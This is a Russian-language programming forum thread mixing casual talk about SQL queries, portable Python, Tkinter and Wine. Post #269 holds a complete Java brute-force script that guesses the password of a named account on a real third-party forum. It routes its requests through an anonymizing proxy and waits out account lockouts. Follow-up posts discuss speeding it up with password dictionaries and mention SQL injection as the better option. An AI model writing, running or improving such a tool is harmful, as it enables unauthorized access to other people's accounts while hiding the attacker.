![]() |
Здравствуйте, гость ( Вход | Регистрация )
![]() ![]() |
![]() |
![]()
Сообщение
#261
|
|
![]() Виликае ЦлоЪ Группа: Администратор Сообщений: 5347 Регистрация: 25.9.2004 Из: Jotunheim Пользователь №: 2 ![]() ![]() |
select top 1 id from ContactVegetables order by ID desc
что-то типа того, если top есть в твоей СУБД. -------------------- Никоим образом не считай мёртвыми тех, которые были убиты на пути Аллаха. Нет, они живы и получают удел у своего Господа.
|
|
|
![]()
Сообщение
#262
|
|
Рыцарь Порядка Группа: Участник форума Сообщений: 2787 Регистрация: 22.12.2005 Из: Гомель Пользователь №: 366 ![]() ![]() |
А сколько такой запрос будет выполнятся, в mysql top вроде нет
mysql> select count(*) from vkontakte_count_test; +----------+ | count(*) | +----------+ | 36278013 | +----------+ 1 row in set (0.00 sec) mysql> select id from vkontakte_count_test order by id desc limit 1; +----------+ | id | +----------+ | 36278013 | +----------+ 1 row in set (0.00 sec) С виду разницы нет -------------------- http://mindstate.info
|
|
|
![]()
Сообщение
#263
|
|
![]() Виликае ЦлоЪ Группа: Администратор Сообщений: 5347 Регистрация: 25.9.2004 Из: Jotunheim Пользователь №: 2 ![]() ![]() |
Вот! Что и требовалось доказать! Даже если это высоконагруженная система, count(*) выполняется мгновенно, и никак её не засрёт. ИМХО.
-------------------- Никоим образом не считай мёртвыми тех, которые были убиты на пути Аллаха. Нет, они живы и получают удел у своего Господа.
|
|
|
![]()
Сообщение
#264
|
|
![]() Близко не подходить! Шибко красный! Группа: Участник форума Сообщений: 2304 Регистрация: 8.6.2005 Из: Черняховск||Москва Пользователь №: 211 ![]() ![]() |
Даже если Дуров писал базу сам, получить ответ сколько юзверей в базе, используя единственную переменную - ну это точно не проблема.
-------------- А теперь оприятном: в тырнете нашёл Python 2.4, Python 2.5, Python 2.6 - портируемые версии (в смысле, можно с флехи запускать). Решил остановить свой выбор на Python 2.5. Зипованный комплект (вместе с кучей компонентов) - 64 метра. Распакованный - 248. Пакеты добавляется к базовой версии методом укладывания в питоновскую папку C:\Python2.5\lib\site-package\... Создаётся папка-пакет и туда заваливается усё. Без компонентов питон весит 24 метра. Вот чего мне не хватало для моего мега-комбайна тотал-коламбур объёмом 1,4 гектара (в 7zip 480 мегабайт). Там есть всё: ОпенОфис, 7зип, ИнфраРекордер, СеаМонкей, Опера@УСБ и т. д. Кророче - это праздник! -------------------- Сайт газеты "Советская Россия": http://sovross.ru/
Пролетарии всех стран, соединяйтесь! |
|
|
![]()
Сообщение
#265
|
|
![]() Близко не подходить! Шибко красный! Группа: Участник форума Сообщений: 2304 Регистрация: 8.6.2005 Из: Черняховск||Москва Пользователь №: 211 ![]() ![]() |
Решил себе облегчить задачу отладки написуемых программ.
Но вот незадача: в консоли венды и никсов разные кодировки сплошь и рядом. Решение дебаггера очевидно: нарисовал окно с выводом отладки в другом потоке, и другой сессии Tk. Ел уважает только юникод. Не могу сказать что это плохо, хотя требует некоторого напряжения мозга для перекодировки. Ко всему прочему теперь я логи могу сохранять и оценивать скорость выполнения тех или иных команд. (хотя в профилировщике питона для этого имеются собственные средства) -------------------- Сайт газеты "Советская Россия": http://sovross.ru/
Пролетарии всех стран, соединяйтесь! |
|
|
![]()
Сообщение
#266
|
|
![]() Близко не подходить! Шибко красный! Группа: Участник форума Сообщений: 2304 Регистрация: 8.6.2005 Из: Черняховск||Москва Пользователь №: 211 ![]() ![]() |
Замечательная вещь - элемент из Tkinter - Text и ScrolledText - позволяет тэгами размечать шрифт - цвет, размер, гарнитура. Ко всему прочему - можно внедрять изображения, кнопки и списки и всякую шняжку. Короче, сила. На базе текстого виджета на Питоне написан браузер Грааль. Во, мля! Пошёл качать сие чудо!
-------------------- Сайт газеты "Советская Россия": http://sovross.ru/
Пролетарии всех стран, соединяйтесь! |
|
|
![]()
Сообщение
#267
|
|
![]() Близко не подходить! Шибко красный! Группа: Участник форума Сообщений: 2304 Регистрация: 8.6.2005 Из: Черняховск||Москва Пользователь №: 211 ![]() ![]() |
Под MOPS Linux из коробки правильно настроена русская локаль+железобетонные вещи свежайшего разлива. Порадовал дистр.
-------------------- Сайт газеты "Советская Россия": http://sovross.ru/
Пролетарии всех стран, соединяйтесь! |
|
|
![]()
Сообщение
#268
|
|
![]() Близко не подходить! Шибко красный! Группа: Участник форума Сообщений: 2304 Регистрация: 8.6.2005 Из: Черняховск||Москва Пользователь №: 211 ![]() ![]() |
Увидел на днях два примера калькулятора. На Питоне, естессна.
Более сложный пример калькулятора понравился словарём со списком функций-обработчиков и указанием типов кнопок. Не понравилось: функция eval тупо считает всё, что ей скормят. Потенциально опасно. -------------------- Сайт газеты "Советская Россия": http://sovross.ru/
Пролетарии всех стран, соединяйтесь! |
|
|
![]()
Сообщение
#269
|
|
![]() Виликае ЦлоЪ Группа: Администратор Сообщений: 5347 Регистрация: 25.9.2004 Из: Jotunheim Пользователь №: 2 ![]() ![]() |
Пишу тут одну программку:
Код import java.io.BufferedReader; import java.io.FileWriter; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.net.URL; import java.net.URLConnection; import java.net.URLEncoder; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; public class Forcer { private static String ABC; private static String getTime() { DateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SS"); return df.format(new Date()); } private static String cook; private static int tryPass(String pass) throws Exception{ String data = "&" + URLEncoder.encode("UserName", "UTF-8") + "=" + URLEncoder.encode("Nick", "UTF-8"); data += "&" + URLEncoder.encode("PassWord", "UTF-8") + "=" + URLEncoder.encode(pass, "UTF-8"); data += "&" + URLEncoder.encode("CookieDate", "UTF-8") + "=" + URLEncoder.encode("1", "UTF-8"); data += "&" + URLEncoder.encode("Privacy", "UTF-8") + "=" + URLEncoder.encode("1", "UTF-8"); URL url = new URL("http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.angrapa.ru/forum/ipb.html?act=Login&CODE=01&CookieDate=1"); URLConnection conn = url.openConnection(); conn.setRequestProperty("Cookie", cook); conn.setDoOutput(true); OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); wr.write(data); wr.flush(); //Get the response BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; String s=new String(); FileWriter f = new FileWriter ("Res.html"); while ((line = rd.readLine()) != null) { s+=line; f.write(line); f.flush(); } if (s.contains("Your account will automatically be unlocked in")) { int pos = s.indexOf("Your account will automatically be unlocked in"); int minutes = Integer.valueOf(s.substring(pos + 47, s.indexOf("minutes", pos)-1)); System.out.println(getTime()+ ": " + "Account is blocked, waiting for " + minutes + " minutes"); Thread.currentThread().sleep(1000*60*(minutes + 1)); System.out.println(getTime()+ ": " + "Wake up!"); return -1; } if (s.contains("Sorry, an error occurred") || s.contains("Username or password incorrect")) return 1; else return 0; } public static void main(String[] args) { try { ABC = "1234567890"; String enLetters = "abcdefghijklmnopqrstuvwxyz"; String rusLetters = "абвгдеёжзийклмнопрстуфхцчшщьыъэюя"; String symbols = ".,!@#$%^&*()_+|?><~`\";/:-' "; ABC = ABC + enLetters + enLetters.toUpperCase() + rusLetters + rusLetters.toUpperCase() + symbols; URL url = new URL("http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.angrapa.ru/forum/main.html"); URLConnection conn = url.openConnection(); conn.setDoOutput(true); cook=new String(); String headerName=null; for (int i=1; (headerName = conn.getHeaderFieldKey(i))!=null; i++) { if (headerName.equals("Set-Cookie")) { String cookie = conn.getHeaderField(i); cook+=cookie; } } for (int i=0; i<ABC.length();i++) { String pass = ABC.substring(i, i+1); int code; do { System.out.println(getTime()+ ": " + "Trying " + pass); code = tryPass(pass); } while (code==-1); if (code==1) System.out.println(getTime()+ ": " + "Wrong pass " + pass); if (code==0) { System.out.println(getTime()+ ": " + pass + " - this is it!"); break; } } } catch (Exception e) {e.printStackTrace();} } } Возникла необычная проблема, с которой я никогда не сталкивался. При чтении респонса, если не ставить Код f.write(line); f.flush(); некоторые страницы отдают ровно 32768 байт. Никак не могу понять, с чем это связано, и поборол вот только с помощью такого костыля. Кто-нибудь сталкивался? И вторая проблема - надо придумать какой-нибудь нормальный алгоритм перебора ![]() -------------------- Никоим образом не считай мёртвыми тех, которые были убиты на пути Аллаха. Нет, они живы и получают удел у своего Господа.
|
|
|
![]()
Сообщение
#270
|
|
![]() Группа: Администратор Сообщений: 8594 Регистрация: 24.9.2004 Из: Черняховск || СПб Пользователь №: 1 ![]() ![]() |
Цитата некоторые страницы отдают ровно 32768 байт. Никак не могу понять, с чем это связано, и поборол вот только с помощью такого костыля. Кто-нибудь сталкивался? Хакир мля ![]() ![]() ![]() Цитата И вторая проблема - надо придумать какой-нибудь нормальный алгоритм перебора smile.gif Поищу у Кнута, может найду чего... Ну твоя текущая прога будет лет пицот работать, патаму ша по дефолту за 3 неудачные попытки система лочит минут на 15. Количество переборов можешь сам посчитать ![]() ![]() -------------------- "Я понял в чем ваша беда: вы слишком серьезны. Умное лицо это еще не признак ума, господа. Все глупости на Земле делаются именно с этим выражением лица... Улыбайтесь, господа, улыбайтесь!" (с) Барон Карл Фридрих Иероним фон Мюнгхаузен
|
|
|
![]()
Сообщение
#271
|
|
![]() Виликае ЦлоЪ Группа: Администратор Сообщений: 5347 Регистрация: 25.9.2004 Из: Jotunheim Пользователь №: 2 ![]() ![]() |
Цитата некоторые страницы отдают ровно 32768 байт. Никак не могу понять, с чем это связано, и поборол вот только с помощью такого костыля. Кто-нибудь сталкивался? Хакир мля ![]() ![]() ![]() Да всё ок, так не важно, есть html или нет, мне отдаётся всё то же, что может браузеру отдаться, так что тут проблемы нет. Цитата И вторая проблема - надо придумать какой-нибудь нормальный алгоритм перебора smile.gif Поищу у Кнута, может найду чего... Ну твоя текущая прога будет лет пицот работать, патаму ша по дефолту за 3 неудачные попытки система лочит минут на 15. Количество переборов можешь сам посчитать ![]() ![]() Смена айпишника не помогает, потому что блочится не айпишник, а аккаунт, как я понял. Долго работать - это да... Вообще такой вариант брутфорса без мазы, я вчера с 9 утра до 19 сидел, там прога даже этот готовый цикл по паролям длины 1 не успела закончить. А готовые словари... Ну это вариант, надо попробовать... -------------------- Никоим образом не считай мёртвыми тех, которые были убиты на пути Аллаха. Нет, они живы и получают удел у своего Господа.
|
|
|
![]()
Сообщение
#272
|
|
![]() http://www.SovMusic.ru Группа: Супермодератор Сообщений: 2933 Регистрация: 14.10.2006 Из: ворот Кавказа. Пользователь №: 1042 ![]() ![]() |
И кого вы собрались подобрать? Блондинку с готовым паролем? Нафига?
-------------------- Со смертью в человеке лишь в одном
Неравновесные процессы затухают, Денатурируют отжившие белки, Но мир существовать не прекращает. |
|
|
![]()
Сообщение
#273
|
|
![]() Виликае ЦлоЪ Группа: Администратор Сообщений: 5347 Регистрация: 25.9.2004 Из: Jotunheim Пользователь №: 2 ![]() ![]() |
И кого вы собрались подобрать? Блондинку с готовым паролем? Нафига? О чём ты вообще? Какие блондинки? Мы тут алгоритмы обсуждаем, программирование, о каких подборах ты говоришь? -------------------- Никоим образом не считай мёртвыми тех, которые были убиты на пути Аллаха. Нет, они живы и получают удел у своего Господа.
|
|
|
![]()
Сообщение
#274
|
|
![]() http://www.SovMusic.ru Группа: Супермодератор Сообщений: 2933 Регистрация: 14.10.2006 Из: ворот Кавказа. Пользователь №: 1042 ![]() ![]() |
Да так, ни о чём.
![]() -------------------- Со смертью в человеке лишь в одном
Неравновесные процессы затухают, Денатурируют отжившие белки, Но мир существовать не прекращает. |
|
|
![]()
Сообщение
#275
|
|
![]() Группа: Администратор Сообщений: 8594 Регистрация: 24.9.2004 Из: Черняховск || СПб Пользователь №: 1 ![]() ![]() |
Цитата Смена айпишника не помогает, потому что блочится не айпишник, а аккаунт, как я понял. Долго работать - это да... Вообще такой вариант брутфорса без мазы, я вчера с 9 утра до 19 сидел, там прога даже этот готовый цикл по паролям длины 1 не успела закончить. А готовые словари... Ну это вариант, надо попробовать... Словарь конечно лучше и удобнее, но такой метод хака ИПБ слишком варварский и долгий ![]() ![]() Цитата Да всё ок, так не важно, есть html или нет, мне отдаётся всё то же, что может браузеру отдаться, так что тут проблемы нет. Да я просто увидел, что там хтмл стоял, подумал мож в этом ошипка ![]() -------------------- "Я понял в чем ваша беда: вы слишком серьезны. Умное лицо это еще не признак ума, господа. Все глупости на Земле делаются именно с этим выражением лица... Улыбайтесь, господа, улыбайтесь!" (с) Барон Карл Фридрих Иероним фон Мюнгхаузен
|
|
|
![]()
Сообщение
#276
|
|
Рыцарь Порядка Группа: Участник форума Сообщений: 2787 Регистрация: 22.12.2005 Из: Гомель Пользователь №: 366 ![]() ![]() |
2 Brutall что-то не нравится мне твой код, сильно индюшатиной пахнет, какие-то бессмысленные циклы, я думаю надо было выделить осмысленные блоки в функции /методы, типо
сформироватьСтрокуЗапроса выделитьВремяРазблокировки и т.д. -------------------- http://mindstate.info
|
|
|
![]()
Сообщение
#277
|
|
![]() Близко не подходить! Шибко красный! Группа: Участник форума Сообщений: 2304 Регистрация: 8.6.2005 Из: Черняховск||Москва Пользователь №: 211 ![]() ![]() |
worldmind тут прав.
Индюшатина не конченная, но на полпути - это да. Брутфорс лучше, чем тупой перебор, но хуже чем SQL инъекция. Элементарно, нет пары скобок в запросе, и мюскля выпадает в осадок. Потроши, пока тёпленькая. НО! Не забываем и чтим уголовный кодекс. ))) -------------------- Сайт газеты "Советская Россия": http://sovross.ru/
Пролетарии всех стран, соединяйтесь! |
|
|
![]()
Сообщение
#278
|
|
![]() Близко не подходить! Шибко красный! Группа: Участник форума Сообщений: 2304 Регистрация: 8.6.2005 Из: Черняховск||Москва Пользователь №: 211 ![]() ![]() |
Месяц назад достал меня на рабочем ноуте косяк венды с автозапуском. Сел я за дженни и поймал себя на мысли: этот редактор поддерживает по умолчанию utf8. Запускаю скрипт под линем, и что я вижу? Каким-то чудом, тандербирд (виндовый) запустился из-под вайна (хотя в скрипте я не указывал, что вайн потребуется). Через три минуты я забыл, что виндовый тандербирд работает из-под вайна, так зараза вписался в систему.
-------------------- Сайт газеты "Советская Россия": http://sovross.ru/
Пролетарии всех стран, соединяйтесь! |
|
|
![]()
Сообщение
#279
|
|
Рыцарь Порядка Группа: Участник форума Сообщений: 2787 Регистрация: 22.12.2005 Из: Гомель Пользователь №: 366 ![]() ![]() |
Цитата Через три минуты я забыл, что виндовый тандербирд работает из-под вайна, так зараза вписался в систему. месье знает толк в извращениях -------------------- http://mindstate.info
|
|
|
![]()
Сообщение
#280
|
|
![]() Близко не подходить! Шибко красный! Группа: Участник форума Сообщений: 2304 Регистрация: 8.6.2005 Из: Черняховск||Москва Пользователь №: 211 ![]() ![]() |
Я над этим работаю. Поскольку тандербирд портируемый, я могу через скрипт копировать базу туда-сюда-обратно до и после запуска. А так получается, конечно садо-мазо с вазелином.
-------------------- Сайт газеты "Советская Россия": http://sovross.ru/
Пролетарии всех стран, соединяйтесь! |
|
|
![]() ![]() |
![]() |
Текстовая версия | Сейчас: 13.5.2025, 11:54 |